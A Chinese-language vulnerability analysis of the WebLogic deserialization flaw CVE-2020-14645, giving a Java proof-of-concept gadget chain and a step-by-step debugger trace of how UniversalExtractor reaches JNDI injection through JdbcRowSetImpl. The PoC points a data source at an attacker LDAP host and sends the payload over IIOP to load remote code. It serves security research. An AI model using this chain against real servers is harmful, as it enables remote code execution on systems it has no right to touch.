前言
近期公布的關(guān)于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645，是對 CVE-2020-2883的補(bǔ)丁進(jìn)行繞過。之前的 CVE-2020-2883 本質(zhì)上是通過 ReflectionExtractor 調(diào)用任意方法，從而實(shí)現(xiàn)調(diào)用 Runtime 對象的 exec 方法執(zhí)行任意命令，補(bǔ)丁將 ReflectionExtractor 列入黑名單，那么可以使用 UniversalExtractor 重新構(gòu)造一條利用鏈。UniversalExtractor 任意調(diào)用 get、is方法導(dǎo)致可利用 JDNI 遠(yuǎn)程動態(tài)類加載。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中獨(dú)有的，本文也是基于該版本進(jìn)行分析。
漏洞復(fù)現(xiàn)
漏洞利用 POC，以下的分析也是基于該 POC 進(jìn)行分析
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//構(gòu)造 UniversalExtract 調(diào)用 JdbcRowSetImpl 對象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 發(fā)送 IIOP 協(xié)議數(shù)據(jù)包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);
成功彈出計(jì)算機(jī)
漏洞分析
了解過 JDNI 注入的都知道漏洞在 lookup() 出發(fā)，這里在 JdbcRowSetImpl.class 中 326 行 lookup() 函數(shù)處設(shè)置斷點(diǎn)，以下為漏洞利用的簡要調(diào)用鏈條：
我們從頭分析，我們都知道反序列化的根本是對象反序列化的時(shí)候，我們從 IO 流里面讀出數(shù)據(jù)的時(shí)候再以這種規(guī)則把對象還原回來。我們在 in.readObject() 處打斷點(diǎn)，跟進(jìn)查看 PriorityQueue.readObject() 方法
這里 782 執(zhí)行 s.defaultReadObject() ，785 執(zhí)行 s.readInt() 賦給對象輸入流大小以及數(shù)組長度，并在 790 行執(zhí)行 for 循環(huán)，依次將 s.readObject() 方法賦值給 queue 對象數(shù)組，這里 queue 對象數(shù)組長度為 2。
接著往下跟，查看 heapify() 方法。PriorityQueue 實(shí)際上是一個(gè)最小堆，這里通過 siftDown() 方法進(jìn)行排序?qū)崿F(xiàn)堆化，
跟進(jìn) siftDown() 方法，這里首先判斷 comparator 是否為空
我們可以看看 comparator 是怎么來的，由此可見是在 PriorityQueue 的構(gòu)造函數(shù)中被賦值的，在初始化構(gòu)造時(shí)，除了給 this.comparator 進(jìn)行賦值之外，通過 initialCapacity 進(jìn)行初始化長度。
comparator 不為空，所以我們執(zhí)行的是 siftDownUsingComparator() 方法，所以跟進(jìn) siftDownUsingComparator() 方法。
繼續(xù)跟進(jìn) ExtractorComparator.compare() 方法
這里調(diào)用的是 this.m_extractor.extract() 方法，
來看看 this.m_extractor，這里傳入了 extractor，
this.m_extractor 的值是與傳入的 extractor 有關(guān)的。這里需要構(gòu)造 this.m_extractor 為 ChainedExtractor，才可以調(diào)用 ChainedExtractor 的 extract() 方法實(shí)現(xiàn) extract() 調(diào)用。
繼續(xù)跟進(jìn) ChainedExtractor.extract() 方法，
可以發(fā)現(xiàn)會遍歷 aExtractor 數(shù)組，并調(diào)用 extract() 方法。
跟進(jìn) extract() 方法，此處由于 m_cacheTarget 使用了 transient 修飾，無法被反序列化，因此只能執(zhí)行 else 部分，最后通過 this.extractComplex(oTarget) 進(jìn)行最終觸發(fā)漏洞點(diǎn)
this.extractComplex(oTarget) 中可以看到最后通過 method.invoke() 進(jìn)行反射執(zhí)行，其中 oTarget 和 aoParam 都是可控的。
我們跟進(jìn)190的 findMethod() 方法，在 475 行需要使 fExactMatch 為 true，fStatic 為 false 才可讓傳入 clz 的可以獲取任意方法。fStatic 是可控的，而 fExactMatch 默認(rèn)為true ，只要沒進(jìn)入 for 循環(huán)即可保持 true 不變，使 cParams 為空即 aclzParam 為空的 Class 數(shù)組即可，此處 aclzParam 從 getClassArray() 方法獲取。
在 getClasssArray 中通過獲取輸入?yún)?shù)的值對應(yīng)的 Class 進(jìn)行處理。
由于傳入的 aoParam 是一個(gè)空的 Object[]，所以獲取對應(yīng)的 Class 也為空的 Class[]，跟入 isPropertyExtractor() 中進(jìn)行進(jìn)行獲取可以看到將 this._fMethod 獲取相反的值。
由于 m_fMethod 被 transient 修飾，不會被序列化，通過分析 m_fMethod 賦值過程，可發(fā)現(xiàn)在 init() 時(shí)會獲取sCName，并且通過判定是否為 () 結(jié)尾來進(jìn)行賦值。
由于參數(shù)為 this 的原因，導(dǎo)致getValueExtractorCanonicalName()方法返回的都是 null。
跟入 getValueExtractorCanonicalName()函數(shù)，最后是通過調(diào)用 computeValuExtractorCanonicalName 進(jìn)行處理。
跟入 computeValuExtractorCanonicalName() 之后，如果 aoParam不為 null 且數(shù)組長度大于 0 就會返回 null，由于 aoParam 必須為 null ，因此我們調(diào)用的方法必須是無參的。接著如果方法名 sName 不一 () 結(jié)尾，就會直接返回方法名。否則會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 數(shù)組中的前綴開頭，如果是的話就會截取掉并返回。
回到 extractComplex() 方法中，在 if 條件里會對上述返回的方法名做首字母大寫處理，然后拼接 BEAN_ACCESSOR_PREFIXES 數(shù)組中的前綴，判斷 clzTarget 類中是否含有拼接后的方法。這里可以看到我們只能調(diào)用任意類中的 get 和 is 開頭的無參方法。也就解釋了為什么 poc 會想到利用 JNDI 來進(jìn)行遠(yuǎn)程動態(tài)類加載。
跟進(jìn) method.invoke() 方法，會直接跳轉(zhuǎn)至 JdbcRowSetImpl.getDatabaseMetaData()。
由于JdbcRowSetImpl.getDatabaseMetaData()，調(diào)用了 this.connect()，可以看到在 326 行執(zhí)行了 lookup 操作，觸發(fā)了漏洞。
至此，跟進(jìn) getDataSourceName()，可看到調(diào)用了可控制的 dataSource。
總結(jié)
此漏洞主要以繞過黑名單的形式，利用 UniversalExtractor 任意調(diào)用get、is方法導(dǎo)致 JNDI 注入，由此拓展 CVE-2020-14625。
